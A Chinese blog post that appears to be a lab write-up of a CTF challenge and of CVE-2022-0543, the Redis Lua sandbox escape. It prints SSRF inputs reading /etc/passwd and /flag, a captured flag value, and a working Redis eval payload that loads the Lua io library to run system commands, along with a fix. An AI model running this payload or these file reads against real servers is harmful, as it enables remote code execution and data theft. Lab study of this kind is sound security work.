春秋云境:CVE-2022-0543(Redis 沙盒逃逸漏洞)

目录

一、i春秋题目

二、CVE-2022-0543:(redis沙盒逃逸)

漏洞介绍:

漏洞复现:


一、i春秋题目

靶标介绍:

Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。

进入题目:

SSRF漏洞:

后面加上题目给定的网站试试:

可以跳转到百度页面:

读取系统文件:IP/?url=file:///etc/passwd

获取到flag /?url=file:///flag

flag{e30bd2d5-b4e8-4635-858f-5aac6604cd9c}

二、CVE-2022-0543:(redis沙盒逃逸)

漏洞介绍:

Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。

Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。

漏洞复现:

靶机

使用vulhub靶场:

复制代码
使用vulhub靶场

安装完成后我们进入到对应目录:

cd vulhub/redis/CVE-2022-0543/

然后执行命令,进行靶场编译和运行

docker-compose build
docker-compose up -d
运行完docker-compose后,打开我们的redis就是我们的漏洞环境了

先安装redis-cli:

复制代码
kali安装redis-cli:

apt-get update && apt-get upgrade  (更新源)

apt install redis-tools

redis-cli:

复制代码
redis-cli -h 192.168.184.177//有漏洞IP

产生原 因:

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意 Lua 功能。

我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令:

复制代码
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");

local io = io_l();

local f = io.popen("id", "r");

local res = f:read("*a");

f:close();

return res

Payload: (执行命令id可以改变)

复制代码
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

id命令:

whoami pwd ls

到这我们就可以执行命令了。

正式修复方案: Lua 初始化的末尾添加package=nil

****临时修复方案:****关闭服务

相关推荐
莫回首�3 小时前
ubuntu 20.04 多网卡配置,遇到问题总结
linux·网络·ubuntu
网络安全许木3 小时前
自学渗透测试第11天(Linux压缩解压与磁盘管理)
linux·网络安全·渗透测试
黎阳之光6 小时前
黎阳之光:视频孪生领跑者,铸就中国数字科技全球竞争力
大数据·人工智能·算法·安全·数字孪生
lifewange6 小时前
Linux ps 进程查看命令详解
linux·运维·服务器
上海云盾-高防顾问6 小时前
网络安全防护发展趋势:从被动防御到主动赋能
安全·web安全
功德+n6 小时前
Linux下安装与配置Docker完整详细步骤
linux·运维·服务器·开发语言·docker·centos
CCTI_Curran6 小时前
UL4200A是美国针对纽扣电池安全标准
安全·纽扣电池·ul4200a·纽扣电池gcc认证·美国亚马逊
做个文艺程序员6 小时前
MySQL安全加固十大硬核操作
数据库·mysql·安全
是罐装可乐6 小时前
深入理解“句柄(Handle)“:从浏览器安全到文件系统访问
前端·javascript·安全